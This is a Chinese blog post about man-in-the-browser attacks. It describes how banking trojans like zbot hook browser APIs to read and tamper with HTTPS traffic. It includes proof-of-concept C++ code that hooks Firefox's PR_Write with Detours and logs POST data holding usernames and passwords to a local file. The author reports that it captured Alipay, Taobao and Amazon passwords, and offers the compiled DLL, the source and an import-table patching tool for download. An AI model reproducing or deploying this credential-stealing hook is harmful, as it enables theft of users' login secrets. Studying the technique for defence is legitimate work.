Man-in-the-browser跟man-in-the-middle(中间人攻击)有点类似,浏览器(IE, firefox)被木马感染后,木马可以修改web页面,修改或者添加http(s)中的任何数据。而这个过程中用户和服务器都不知晓。去年玩过一个flash游戏,游戏成绩最后使用一个POST请求score=2000,通过https传送到服务器上。这时注入一段程序到浏览器中,在数据加密之前把成绩改了,就大功告成,得了一个不错的成绩。是想,如果是网银交易是否也存在同样的问题:交易金额被修改,交易账号被修改等等。
之前发了一篇文章支付宝是加密还是编码说支付宝使用固定密钥加密登陆密码,致使密文永远不变,不能抵御重放攻击。当zbot之类的木马出现的后,支付宝的密码就不安全了。zbot能抓取浏览器中的包括https在内的所有数据,窃取密码是zbot的一个重要功能。Zbot将自身注入到浏览器中,hook关键API:PR_Write, HttpSenRequest等,将抓取的感兴趣的数据传送给它的主人。
我针对Firefox做了一个简单的POC程序,根据关键字抓取用户名和密码。使用Detours完成hook,detours的使用很简便,安装包中有samples,不赘述。PR_Write函数原型Firefox官网上有,下面是hook函数,根据关键字保存下感兴趣的数据。经测试支付宝,淘宝,亚马逊密码都能截取。
int My_PR_Write(PVOID fd,const void *buf,int amount)
{
try
{
if(amount>20 && isHttpPost( (char*)buf ) && KeywordFilter( (char*)buf) )
{
OutputDebugStringA("==================================\n");
OutputDebugStringA((char*)buf);
OutputDebugStringA("==================================\n\n");
FILE* f = NULL;
fopen_s(&f,"c:\\hijackhttp.txt","a");
fwrite(buf,1,amount,f);
fclose(f);
}
}
catch(...)
{
Print("Bowl===Bowl===Bowl===");
}
return pfPR_Write(fd,buf,amount);
}
程序和代码下载:Man in the browser
HijackHttp.dll: 完成hook的dll。
dllmain.cpp 是源代码。
SetDll.exe 是detours自带的一个工具,修改PE文件的导入表来加载DLL.。
使用说明.txt 是使用方法的简单说明。
本文探讨了Man-in-the-Browser攻击方式,介绍如何利用木马修改浏览器中的HTTPS数据,实现对用户敏感信息如银行交易金额和账号的篡改。同时提供了一个针对Firefox浏览器的POC程序案例。
411

被折叠的 条评论
为什么被折叠?



